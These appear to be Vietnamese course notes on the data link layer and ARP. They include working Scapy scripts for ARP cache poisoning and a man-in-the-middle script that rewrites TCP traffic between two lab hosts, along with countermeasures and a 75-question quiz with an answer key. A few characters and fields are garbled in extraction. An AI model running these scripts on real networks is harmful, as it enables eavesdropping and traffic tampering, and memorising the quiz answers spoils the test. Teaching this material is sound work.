Skip to content

CHƯƠNG 7: DATA LINK LAYER AND ARP ATTACKS¤

Sending side: - Encapsulates datagram trong frame - Thêm error checking bits - Reliable data transfer, flow control

Receiving side: - Kiểm tra errors, reliable transfer, flow control - Extracts datagram, passes lên upper layer

2. MAC ADDRESS¤

A. ĐẶC ĐIỂM¤

So với IP Address: - IP address (32-bit): Network-layer address, dùng cho layer 3 forwarding - MAC address (48-bit): Link-layer address, dùng locally để chuyển frame giữa các interface vật lý kết nối trực tiếp (cùng subnet)

Format: - 48-bit cho hầu hết LANs - Burned in NIC ROM, đôi khi software settable - Ví dụ: 1A-2F-BB-76-09-AD (hexadecimal notation)

B. PHÂN BỔ VÀ QUẢN Lݤ

IEEE allocation: - MAC address allocation do IEEE quản lý - Manufacturer mua portion của MAC address space → đảm bảo uniqueness

Tương tự: - MAC address giống Social Security Number (cố định, unique) - IP address giống Postal address (thay đổi theo vị trí)

C. TÍNH PORTABLE¤

MAC flat address: - Portability: Có thể move interface từ LAN này sang LAN khác - IP address KHÔNG portable: Phụ thuộc vào IP subnet

D. ETHERNET FRAME STRUCTURE (IEEE 802.3)¤

Cấu trúc:

Text Only
[Preamble | Dest MAC | Src MAC | Type | Data | FCS]

Type field quan trọng: - 0x0800: IPv4 - 0x0806: ARP

3. PRIVACY ISSUE VỚI MAC¤

Vấn đề: - MAC address là unique - Khi walk around Mall, talk với WiFi Access Point → tell your MAC address - APs có thể remember your MAC → trace where you have been

Giải pháp: - MAC address randomization - Probe APs = using software-generated MAC address

Trade-off: - PERFORMANCE vs PRIVACY

PHẦN 2: ARP PROTOCOL¤

1. MỤC ĐÍCH¤

Question: Làm sao xác định interface's MAC address khi biết IP address?

Answer: ARP (Address Resolution Protocol)

2. ARP TABLE (CACHE)¤

Mỗi IP node (host, router) trên LAN có table chứa:

Text Only
<IP address; MAC address; TTL>

TTL (Time To Live): - Thời gian sau đó address mapping sẽ bị forgotten - Typically 20 minutes

Linux commands: - arp -n: Show ARP cache - arp -d: Delete an ARP entry

3. ARP PROTOCOL HOẠT ĐỘNG¤

Ví dụ: A muốn gửi datagram cho B¤

Bước 1: A broadcasts ARP query - Chứa B's IP address - Destination MAC = FF-FF-FF-FF-FF-FF (broadcast) - Tất cả nodes trên LAN nhận ARP query

Ethernet frame:

Text Only
Source MAC: 71-65-F7-2B-08-53
Source IP: 137.196.7.23
Target IP: 137.196.7.14
Dest MAC: FF-FF-FF-FF-FF-FF

Bước 2: B replies với ARP response - Gửi unicast (chỉ cho A) - Chứa B's MAC address

ARP message:

Text Only
Target IP: 137.196.7.14
Target MAC: 58-23-D7-FA-20-B0
Dest MAC: 71-65-F7-2B-08-53 (A's MAC)

Bước 3: A receives B's reply - Adds B entry vào local ARP table - TTL = 500 seconds (example)

4. ROUTING TO ANOTHER SUBNET¤

Scenario: A gửi datagram cho B qua Router R

Assumptions: - A knows B's IP address - A knows R's IP address (first hop router) - A knows R's MAC address (qua ARP)

Bước 1: A → R¤

A creates: - IP datagram: src = A's IP, dst = B's IP - Link-layer frame: dst MAC = R's MAC (NOT B's!)

Quan trọng: - IP header: A → B (không đổi) - MAC header: A → R (local delivery)

Bước 2: R receives¤

  • Frame received, datagram extracted
  • Passed up to IP layer

Bước 3: R → B¤

R creates: - IP datagram: src = A's IP, dst = B's IP (giữ nguyên) - Link-layer frame: src MAC = R's MAC, dst MAC = B's MAC

Bước 4: B receives¤

  • Extracts IP datagram
  • Passes up protocol stack

Bottom line: - ARP maps address of one protocol (Ethernet) to address of another protocol (IP) - ARP là stateless protocol

5. ARP REQUEST VÀ REPLY¤

3 loại ARP messages:

1. ARP Request: - Broadcast (FF-FF-FF-FF-FF-FF) - Hỏi: "Who has IP X? Tell MAC Y"

2. ARP Reply: - Unicast - Trả lời: "IP X is at MAC Z"

3. ARP Gratuitous: - Broadcast hoặc unicast - Announce: "My IP X is at MAC Y" - Mục đích: Update ARP caches, detect IP conflicts

PHẦN 3: ARP CACHE POISONING ATTACK¤

1. GOAL¤

Mục tiêu: Poisoning the cache of ARP

2. NGUYÊN LÝ HOẠT ĐỘNG¤

Key fact: ARP is a STATELESS protocol

Question: Làm sao cause ARP update cache?

Answer: Gửi: 1. ARP Request 2. ARP Reply 3. ARP Gratuitous

Khi ARP request/reply/gratuitous đến → ARP cache sẽ được UPDATE!

Idea tấn công: Spoofing ARP messages

3. SPOOFING ARP MESSAGES BẰNG SCAPY¤

A. SPOOFING ARP REQUEST¤

Scenario: - Attacker IP: 10.102.20.154 - Target IP: 10.102.20.178, MAC: 00:50:56:a8:1a:d3 - Victim IP: 10.102.20.177, MAC: 00:50:56:a8:0e:77

Code:

Python
from scapy.all import *

E = Ether()
E.dst = "00:50:56:a8:0e:77"  # Victim's MAC (unicast)

A = ARP()
A.op = 1  # ARP Request
A.psrc = "10.102.20.178"  # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff"  # FAKE MAC
A.pdst = "10.102.20.177"  # Victim IP
A.hwdst = "00:50:56:a8:0e:77"  # Victim MAC

sendp(E/A)

Kết quả: - Victim nhận ARP request - Thấy: 10.102.20.178 mapped to aa🇧🇧cc:dd:ee:ff (FAKE!) - Tự động add vào ARP cache

Before:

Text Only
10.102.20.178 → 00:50:56:a8:1a:d3 (real)

After:

Text Only
10.102.20.178 → aa:bb:cc:dd:ee:ff (FAKE!)

B. SPOOFING ARP REPLY¤

Code:

Python
E = Ether()
E.dst = "00:50:56:a8:0e:77"  # Victim's MAC

A = ARP()
A.op = 2  # ARP Reply
A.psrc = "10.102.20.178"  # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff"  # FAKE MAC
A.pdst = "10.102.20.177"  # Victim IP
A.hwdst = "00:50:56:a8:0e:77"  # Victim MAC

sendp(E/A)

C. SPOOFING ARP GRATUITOUS¤

Code:

Python
E = Ether()
E.dst = "ff:ff:ff:ff:ff:ff"  # Broadcast

A = ARP()
A.op = 1  # Request (hoặc 2 cho Reply)
A.psrc = "10.102.20.178"  # Target IP (fake)
A.hwsrc = "aa:bb:cc:dd:ee:ff"  # FAKE MAC
A.pdst = "10.102.20.178"  # SAME as psrc!
A.hwdst = "00:00:00:00:00:00"  # All zeros hoặc broadcast

sendp(E/A)

4. QUAN SÁT QUAN TRỌNG¤

ARP Request: - Không quan trọng entry đã có trong cache hay chưa - Target sẽ tự động accept spoofed request

ARP Reply và Gratuitous: - Thường là response to request HOẶC đã có entry trong cache - Vấn đề: Nếu chưa có entry?

Giải pháp: Trigger target put Valid entry vào cache

Cách: 1. Send spoofed ICMP echo request to target (pretending to be victim) 2. Target replies to victim → cần biết victim's MAC 3. Target sends ARP request for victim 4. NOW entry tồn tại → có thể poison!

PHẦN 4: MAN-IN-THE-MIDDLE (MITM) ATTACK USING ARP¤

1. GENERAL IDEA¤

Normal communication:

Text Only
Alice → Bob (directly)

MITM:

Text Only
Alice → Micheal (attacker) → Bob
Micheal can SEE or MODIFY traffic

Question: What if attacker NOT in the middle?

Answer: Need to REDIRECT traffic

Methods: - Link layer: ARP cache poisoning - Network layer: ICMP redirect - Application layer: DNS cache poisoning

2. MITM VỚI ARP CACHE POISONING¤

Setup ban đầu:¤

Alice (A):

Text Only
ARP table:
IP_B → MAC_B

Bob (B):

Text Only
ARP table:
IP_A → MAC_A

Micheal (M): Attacker (phải cùng network với A và B)

Bước 1: Cache Poison cả A và B¤

Poison Alice: - Tell A: "IP_B is at MAC_M"

Poison Bob: - Tell B: "IP_A is at MAC_M"

Kết quả:

Alice's ARP table:

Text Only
IP_B → MAC_M (FAKE!)

Bob's ARP table:

Text Only
IP_A → MAC_M (FAKE!)

Bước 2: A gửi packet cho B¤

IP header: - src = IP_A - dst = IP_B - (Không đổi!)

MAC header: - src = MAC_A - dst = MAC_M (vì ARP cache bị poison!)

Packet đến M!

Bước 3: M nhận packet - 2 Scenarios¤

Scenario 1: M configured as ROUTER - IP Forwarding = 1 - Kernel automatically relay packet to B - M chỉ cần sniff để xem/modify

Scenario 2: M configured as HOST - IP Forwarding = 0 (default) - dst IP ≠ M's IP → Kernel drops packet - B KHÔNG nhận được packet!

Vậy phải làm gì?

3. GIẢI PHÁP: SNIFF VÀ SPOOF¤

Vấn đề: Kernel drops packets (vì dst IP ≠ M's IP)

Giải pháp:

Step 1: Open Raw Socket - Tell kernel: "Before you drop them, give me a copy!"

Step 2: Sniff packets - Receive copy of packets trước khi kernel drops

Step 3: Modify packets - Change content as desired

Step 4: Spoof modified packets - Forward to real destination (B)

Kết quả: - B receives MODIFIED packet from A - B thinks packet từ A (IP src = A) - M is in the middle!

4. CODE EXAMPLE: MITM TRÊN NETCAT¤

Python
#!/usr/bin/env python3
from scapy.all import *

VM_A = "10.9.0.5"
VM_B = "10.9.0.6"
MAC_A = "02:42:0a:09:00:05"
MAC_B = "02:42:0a:09:00:06"
MAC_M = "02:42:0a:09:00:69"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_A and pkt[IP].dst == VM_B:
        # Intercept A → B
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)  # Remove checksums
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            # Modify data
            newdata = data.replace(b'kevin', b'AAAAA')
            send(newpkt/newdata)  # Scapy recalculates checksums
        else:
            send(newpkt)

    elif pkt[IP].src == VM_B and pkt[IP].dst == VM_A:
        # Relay B → A (không modify)
        send(pkt[IP])

# Sniff and intercept
f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

Giải thích: - Sniff TCP packets từ A hoặc B - Nếu A → B: Replace 'kevin' với 'AAAAA' - Nếu B → A: Forward không đổi - Delete checksums → Scapy tự động recalculate

5. CODE EXAMPLE: MITM TRÊN TELNET¤

Lưu ý về Telnet: - Netcat: Gửi cả dòng trong 1 TCP packet - Telnet: Mỗi character = 1 TCP packet, server echo back

Code:

Python
def spoof_pkt(pkt):
    if pkt[IP].src == VM_A and pkt[IP].dst == VM_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            # Replace all alphabet characters with 'A'
            newdata = re.sub(r'[a-zA-Z]', r'A', data.decode())
            send(newpkt/newdata.encode())
        else:
            send(newpkt)

    elif pkt[IP].src == VM_B and pkt[IP].dst == VM_A:
        send(pkt[IP])

f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'
sniff(iface='eth0', filter=f, prn=spoof_pkt)

PHẦN 5: VẤN ĐỀ VÀ COUNTERMEASURES¤

1. HẠN CHẾ CỦA ARP CACHE POISONING¤

Câu hỏi (Fiction): "In 2019, Russia hackers launched many ARP cache poisoning attacks from Russia against White House network. Do you applaud?"

Answer: NO!

Lý do: - You have to be INSIDE network to launch ARP cache poisoning - Không thể attack từ xa (Russia → White House) - → It's not that significant attack

Bottom line: - ARP hoạt động ở Link layer (Layer 2) - Chỉ trong same subnet/LAN - Không route qua Internet

2. COUNTERMEASURES¤

Best countermeasure: ENCRYPTION!

Lý do: - Hiện nay: Nhiều communications được encrypted (HTTPS, SSH, VPN...) - Attacker vẫn có thể launch cache poisoning - Nhưng MITM attack will NOT be successful - Vì won't be able to MODIFY traffic (encrypted!)

Chỉ còn có thể: - Denial of Service (drop packets) - Không thể đọc/modify content

Encryption is the BEST countermeasure against most MITM attacks

3. COUNTERMEASURES KHÁC¤

1. Static ARP Entries: - Manually configure ARP table - Không bị update bởi ARP messages - Nhược điểm: Không scalable, khó maintain

2. ARP Monitoring Tools: - Detect ARP cache changes - Alert khi suspicious ARP traffic - Tools: ARPwatch, XArp

3. Port Security (Switch level): - Bind MAC addresses to switch ports - Prevent MAC spoofing - Cisco: Port Security feature

4. 802.1X Authentication: - Authenticate devices trước khi allow network access

5. VLANs: - Segment network - Giảm broadcast domain - Limit ARP poisoning scope

PHẦN 6: PACKET SNIFFING ISSUE - HOMEWORK¤

Task: Observe difference giữa 2 commands:

Command 1:

Bash
ping 1.2.3.4  # Non-existing, NOT on local network

Command 2:

Bash
ping 10.20.20.111  # Non-existing, on local network (same subnet)

Attacker: 10.102.20.154 (sniffing) Victim: 10.102.20.177 (ping)

Question: Sự khác biệt?

Answer:

Command 1 (1.2.3.4 - khác subnet): - Victim checks: 1.2.3.4 NOT on local network - Gửi qua default gateway (router) - ARP query cho router's MAC (NOT 1.2.3.4!) - Packet: dst MAC = router, dst IP = 1.2.3.4 - Attacker CÓ THỂ sniff ICMP packets nếu cùng LAN

Command 2 (10.20.20.111 - cùng subnet): - Victim checks: 10.20.20.111 ON local network - ARP query for 10.20.20.111 (broadcast) - Attacker CÓ THỂ sniff ARP request! - Nếu không ai reply → ICMP packets KHÔNG được gửi (no MAC address!) - Nếu attacker spoof ARP reply → có thể intercept!

Key difference: - Khác subnet: ARP for gateway, ICMP được gửi - Cùng subnet: ARP for destination, nếu không reply → NO ICMP


NGÂN HÀNG CÂU HỎI CHƯƠNG 7¤

Câu 1: Data Link layer ở sending side làm gì?

A. Chỉ gửi packets

B. Encapsulates datagram trong frame, thêm error checking ✓

C. Routing packets

D. Mã hóa data

Câu 2: Data Link layer ở receiving side làm gì?

A. Chỉ nhận frames

B. Kiểm tra errors, extracts datagram, passes lên upper layer ✓

C. Forward packets

D. Decrypt data

Câu 3: MAC address có độ dài bao nhiêu bits?

A. 32 bits

B. 48 bits ✓

C. 64 bits

D. 128 bits

Câu 4: IP address có độ dài bao nhiêu bits?

A. 16 bits

B. 32 bits (IPv4) ✓

C. 48 bits

D. 64 bits

Câu 5: MAC address được dùng cho mục đích gì?

A. Layer 3 forwarding

B. Locally chuyển frame giữa interfaces vật lý kết nối trực tiếp (same subnet) ✓

C. Routing qua Internet

D. DNS resolution

Câu 6: IP address được dùng cho mục đích gì?

A. Local delivery

B. Layer 3 (network layer) forwarding ✓

C. MAC address mapping

D. Error checking

Câu 7: MAC address được lưu ở đâu?

A. RAM

B. NIC ROM (burned in), đôi khi software settable ✓

C. Hard disk

D. CPU cache

Câu 8: MAC address allocation được quản lý bởi ai?

A. IETF

B. IEEE ✓

C. ICANN

D. W3C

Câu 9: Manufacturer mua gì từ IEEE?

A. IP address range

B. Portion of MAC address space ✓

C. Domain names

D. SSL certificates

Câu 10: MAC address tương tự như gì?

A. Postal address

B. Social Security Number (cố định, unique) ✓

C. Phone number

D. Email address

Câu 11: IP address tương tự như gì?

A. Social Security Number

B. Postal address (thay đổi theo vị trí) ✓

C. Fingerprint

D. Driver license

Câu 12: MAC address có portable không?

A. Không

B. Có - có thể move interface từ LAN này sang LAN khác ✓

C. Tùy thuộc hệ thống

D. Chỉ trong cùng building

Câu 13: IP address có portable không?

A. Có

B. Không - phụ thuộc vào IP subnet ✓

C. Luôn portable

D. Chỉ với static IP

Câu 14: Ethernet Type field 0x0800 nghĩa là gì?

A. ARP

B. IPv4 ✓

C. IPv6

D. ICMP

Câu 15: Ethernet Type field 0x0806 nghĩa là gì?

A. IPv4

B. ARP ✓

C. TCP

D. UDP

Câu 16: MAC address format sử dụng notation nào?

A. Decimal

B. Binary

C. Hexadecimal (base 16) ✓

D. Octal

Câu 17: Vấn đề privacy với MAC address?

A. Không có vấn đề

B. MAC unique → APs có thể trace where you have been ✓

C. Dễ bị hack

D. Quá dài

Câu 18: Giải pháp cho MAC privacy issue?

A. Không dùng WiFi

B. MAC address randomization (software-generated MAC) ✓

C. Tắt network card

D. Dùng VPN

Câu 19: Trade-off của MAC randomization?

A. Cost vs Security

B. Performance vs Privacy ✓

C. Speed vs Reliability

D. Bandwidth vs Latency

PHẦN 2: ARP PROTOCOL¤

Câu 20: ARP viết tắt của gì?

A. Automatic Routing Protocol

B. Address Resolution Protocol ✓

C. Advanced Research Protocol

D. Application Request Protocol

Câu 21: ARP làm gì?

A. Routing packets

B. Xác định MAC address khi biết IP address ✓

C. Mã hóa data

D. Compress packets

Câu 22: ARP table (cache) chứa gì?

A. Chỉ IP addresses

B. Chỉ MAC addresses

C. ✓

D. Routing information

Câu 23: TTL trong ARP table nghĩa là gì?

A. Total Transfer Limit

B. Time To Live - thời gian mapping sẽ bị forgotten ✓

C. Type To Link

D. Transport Layer Limit

Câu 24: ARP TTL typically là bao lâu?

A. 5 minutes

B. 10 minutes

C. 20 minutes ✓

D. 60 minutes

Câu 25: Linux command để show ARP cache?

A. ifconfig

B. arp -n ✓

C. netstat

D. route

Câu 26: Linux command để delete ARP entry?

A. arp -a

B. arp -d ✓

C. arp -s

D. arp -r

Câu 27: ARP Request được gửi đến MAC address nào?

A. 00:00:00:00:00:00

B. FF:FF:FF:FF:FF:FF (broadcast) ✓

C. Router's MAC

D. Destination's MAC

Câu 28: ARP Reply được gửi đến MAC address nào?

A. Broadcast

B. Requester's MAC (unicast) ✓

C. Router's MAC

D. All nodes

Câu 29: Khi nhận ARP Request/Reply/Gratuitous, node làm gì?

A. Ignore

B. Forward

C. Update ARP cache ✓

D. Send ICMP

Câu 30: ARP là loại protocol gì?

A. Stateful

B. Stateless ✓

C. Connection-oriented

D. Encrypted

Câu 31: ARP Gratuitous có mục đích gì?

A. Request MAC

B. Announce "My IP X is at MAC Y", update caches, detect IP conflicts ✓

C. Delete ARP entries

D. Encrypt traffic

Câu 32: ARP maps address của protocol nào?

A. TCP to UDP

B. Ethernet to IP ✓

C. IP to DNS

D. HTTP to HTTPS

PHẦN 3: ROUTING TO ANOTHER SUBNET¤

Câu 33: A gửi packet cho B (khác subnet) qua R. IP header?

A. src = A, dst = R

B. src = R, dst = B

C. src = A, dst = B (KHÔNG ĐỔI!) ✓

D. src = B, dst = A

Câu 34: A gửi packet cho B qua R. MAC header (A → R)?

A. src = A, dst = B

B. src = A, dst = R ✓

C. src = R, dst = B

D. src = B, dst = A

Câu 35: R forward packet đến B. IP header?

A. src = R, dst = B

B. src = A, dst = B (vẫn giữ nguyên) ✓

C. src = A, dst = R

D. Thay đổi hoàn toàn

Câu 36: R forward packet đến B. MAC header?

A. src = A, dst = B

B. src = A, dst = R

C. src = R, dst = B ✓

D. src = B, dst = R

Câu 37: Khi A gửi cho B (khác subnet), A cần biết gì?

A. Chỉ B's IP

B. B's MAC address

C. Router's MAC address (first hop) ✓

D. All routers' MACs

PHẦN 4: ARP CACHE POISONING¤

Câu 38: ARP Cache Poisoning attack mục tiêu là gì?

A. Delete ARP cache

B. Poisoning (làm nhiễm độc) ARP cache ✓

C. Encrypt ARP

D. Compress ARP

Câu 39: ARP là stateless protocol nghĩa là gì liên quan đến attack?

A. Không thể attack

B. Nhận ARP messages → tự động update cache, không verify ✓

C. Cần authentication

D. Luôn kiểm tra

Câu 40: Gửi loại ARP message nào có thể poison cache?

A. Chỉ Request

B. Chỉ Reply

C. Request, Reply, HOẶC Gratuitous ✓

D. Không loại nào

Câu 41: Idea chính của ARP Cache Poisoning?

A. Delete ARP

B. Spoofing ARP messages ✓

C. Flood ARP

D. Encrypt ARP

Câu 42: Spoofed ARP Request, target sẽ làm gì?

A. Ignore

B. Verify trước

C. Tự động accept và update cache ✓

D. Send error

Câu 43: Với ARP Reply/Gratuitous, vấn đề gì nếu chưa có entry?

A. Không có vấn đề

B. Có thể KHÔNG update cache ✓

C. Luôn update

D. Send error

Câu 44: Giải pháp khi chưa có entry trong cache? A. Không thể poison

B. Trigger target put valid entry: Send spoofed ICMP echo request ✓

C. Wait timeout

D. Restart network

Câu 45: ARP op code = 1 nghĩa là gì?

A. Reply

B. Request ✓

C. Gratuitous

D. Error

Câu 46: ARP op code = 2 nghĩa là gì?

A. Request

B. Reply ✓

C. Gratuitous

D. Error

Câu 47: Scapy code để spoof ARP Request?

A. A.op = 2

B. A.op = 1 ✓

C. A.type = "request"

D. A.cmd = "arp_req"

PHẦN 5: MAN-IN-THE-MIDDLE ATTACK¤

Câu 48: MITM attack mục đích là gì?

A. Delete traffic

B. Intercept và/hoặc modify traffic giữa A và B ✓

C. Speed up traffic

D. Encrypt traffic

Câu 49: Để launch MITM, attacker cần gì?

A. Chỉ cần biết IP

B. Redirect traffic qua mình ✓

C. Chỉ cần password

D. Physical access

Câu 50: Methods để redirect traffic?

A. Chỉ ARP poisoning

B. Chỉ DNS poisoning

C. Link layer (ARP), Network layer (ICMP), Application layer (DNS) ✓

D. Chỉ ICMP redirect

Câu 51: MITM với ARP poisoning, attacker phải ở đâu?

A. Anywhere trên Internet

B. Cùng network (same LAN/subnet) với victims ✓

C. Khác country

D. Khác continent

Câu 52: MITM với ARP, poison cache của ai?

A. Chỉ Alice

B. Chỉ Bob

C. Cả Alice VÀ Bob ✓

D. Chỉ router

Câu 53: Sau khi poison, Alice's ARP table có gì?

A. IP_B → MAC_B (correct)

B. IP_B → MAC_M (attacker's MAC) ✓

C. IP_M → MAC_B

D. Bị xóa

Câu 54: Sau khi poison, Bob's ARP table có gì?

A. IP_A → MAC_A (correct)

B. IP_A → MAC_M (attacker's MAC) ✓

C. IP_M → MAC_A

D. Bị xóa

Câu 55: Alice gửi packet cho Bob sau khi bị poison. IP header?

A. src = Alice, dst = Micheal

B. src = Alice, dst = Bob (vẫn đúng!) ✓

C. src = Micheal, dst = Bob

D. Bị thay đổi

Câu 56: Alice gửi packet cho Bob sau poison. MAC header?

A. src = Alice, dst = Bob

B. src = Alice, dst = Micheal ✓

C. src = Micheal, dst = Bob

D. src = Bob, dst = Alice

Câu 57: Micheal configured as ROUTER (IP Forwarding = 1), điều gì xảy ra?

A. Drop packets

B. Kernel tự động relay packets to Bob ✓

C. Send error

D. Encrypt packets

Câu 58: Micheal configured as HOST (IP Forwarding = 0), điều gì xảy ra?

A. Relay packets

B. Kernel drops packets (dst IP ≠ M's IP) ✓

C. Forward to gateway

D. Broadcast packets

Câu 59: Nếu IP Forwarding = 0, làm sao MITM thành công?

A. Không thể

B. Bắt buộc enable IP Forwarding

C. Open raw socket, sniff packets trước khi drop, rồi spoof forward ✓

D. Restart network

Câu 60: Raw socket giúp gì cho MITM?

A. Tăng tốc độ

B. Get copy of packets TRƯỚC KHI kernel drops ✓

C. Mã hóa packets

D. Routing packets

Câu 61: Trong MITM code, tại sao delete checksums?

A. Không cần checksums

B. Để Scapy TỰ ĐỘNG recalculate sau khi modify ✓

C. Checksums gây lỗi

D. Tăng tốc độ

Câu 62: Netcat vs Telnet khác nhau như thế nào về packet sending?

A. Giống nhau

B. Netcat: cả dòng trong 1 packet; Telnet: mỗi char = 1 packet ✓

C. Telnet nhanh hơn

D. Netcat không gửi packets

PHẦN 6: COUNTERMEASURES¤

Câu 63: ARP Cache Poisoning có thể attack từ xa (remote) không?

A. Có

B. KHÔNG - phải ở INSIDE network (same LAN) ✓

C. Tùy firewall

D. Chỉ với VPN

Câu 64: Lý do ARP poisoning không thể remote?

A. Firewall block

B. ARP hoạt động ở Link layer (Layer 2), chỉ same subnet ✓

C. Encryption

D. Authentication required

Câu 65: Best countermeasure chống MITM attacks?

A. Firewall

B. Antivirus

C. ENCRYPTION (HTTPS, SSH, VPN) ✓

D. Strong password

Câu 66: Tại sao Encryption là best countermeasure?

A. Tăng tốc độ

B. Attacker không thể modify encrypted traffic ✓

C. Block ARP

D. Prevent spoofing

Câu 67: Nếu traffic được encrypt, attacker vẫn poison được không?

A. Không

B. Có - vẫn poison được nhưng MITM không thành công ✓

C. Tùy encryption

D. Chỉ với weak encryption

Câu 68: Với encrypted traffic, attacker chỉ có thể làm gì?

A. Đọc content

B. Modify content

C. Denial of Service (drop packets) ✓

D. Tất cả đều được

Câu 69: Static ARP entries là gì?

A. ARP tự động update

B. Manually configure, không bị update bởi ARP messages ✓

C. Dynamic ARP

D. Random ARP

Câu 70: Nhược điểm của Static ARP?

A. Không an toàn

B. Không scalable, khó maintain ✓

C. Quá chậm

D. Không hoạt động

Câu 71: ARP monitoring tools làm gì?

A. Generate ARP

B. Detect ARP cache changes, alert suspicious traffic ✓

C. Block all ARP

D. Encrypt ARP

Câu 72: Tools nào cho ARP monitoring?

A. Wireshark only

B. ARPwatch, XArp ✓

C. Chrome, Firefox

D. Word, Excel

Câu 73: Port Security (Switch level) làm gì?

A. Mở tất cả ports

B. Bind MAC addresses to switch ports, prevent MAC spoofing ✓

C. Close all ports

D. Random ports

Câu 74: VLANs giúp gì chống ARP poisoning?

A. Encrypt traffic

B. Segment network, giảm broadcast domain, limit scope ✓

C. Increase speed

D. Block all traffic

Câu 75: 802.1X Authentication làm gì?

A. Encrypt data

B. Authenticate devices trước khi allow network access ✓

C. Speed up network

D. Compress traffic


ĐÁP ÁN NHANH¤

1.B 2.B 3.B 4.B 5.B 6.B 7.B 8.B 9.B 10.B 11.B 12.B 13.B 14.B 15.B 16.C 17.B 18.B 19.B 20.B 21.B 22.C 23.B 24.C 25.B 26.B 27.B 28.B 29.C 30.B 31.B 32.B 33.C 34.B 35.B 36.C 37.C 38.B 39.B 40.C 41.B 42.C 43.B 44.B 45.B 46.B 47.B 48.B 49.B 50.C 51.B 52.C 53.B 54.B 55.B 56.B 57.B 58.B 59.C 60.B 61.B 62.B 63.B 64.B 65.C 66.B 67.B 68.C 69.B 70.B 71.B 72.B 73.B 74.B 75.B


BẢNG TÓM TẮT NHANH - CHƯƠNG 7¤

  • MAC: 48-bit, burned in NIC, portable
  • IP: 32-bit, not portable, depends on subnet
  • MAC = SSN (cố định), IP = Postal (thay đổi)
  • Type: 0x0800 = IPv4, 0x0806 = ARP
  • Privacy issue: MAC unique → tracking

2. ARP PROTOCOL¤

  • Mục đích: IP → MAC address
  • ARP Table: (20 min)
  • Request: Broadcast (FF:FF:FF:FF:FF:FF)
  • Reply: Unicast
  • Stateless: Nhận → tự động update, không verify

3. ROUTING SUBNET¤

  • Same subnet: Direct delivery (dst MAC = dest)
  • Different subnet: Qua router
  • IP: A → B (không đổi)
  • MAC: A → R, rồi R → B

4. ARP CACHE POISONING¤

  • Goal: Poison ARP cache
  • Method: Spoof ARP Request/Reply/Gratuitous
  • Scapy:
  • A.op = 1 (Request)
  • A.op = 2 (Reply)
  • Set fake hwsrc

5. MITM ATTACK¤

  • Requirements: Same LAN/subnet
  • Steps:
  • Poison cả A và B: IP_B → MAC_M, IP_A → MAC_M
  • Traffic qua M
  • If IP Forwarding = 0: Raw socket sniff + spoof
  • Code: Delete checksums → Scapy recalc

6. COUNTERMEASURES¤

  • Best: ENCRYPTION (HTTPS, SSH, VPN)
  • Lý do: Không modify được encrypted traffic
  • Others: Static ARP, Monitoring, Port Security, VLANs, 802.1X

7. LIMITATIONS¤

  • ARP poisoning: CHỈ inside network (same LAN)
  • KHÔNG THỂ remote (Layer 2, không route)

CHUẨN BỊ THI: Nhớ kỹ MAC vs IP, ARP workflow (Request broadcast → Reply unicast), ARP stateless, spoofing với Scapy (op=½, hwsrc), MITM steps, IP Forwarding=0 solution, và Encryption best countermeasure!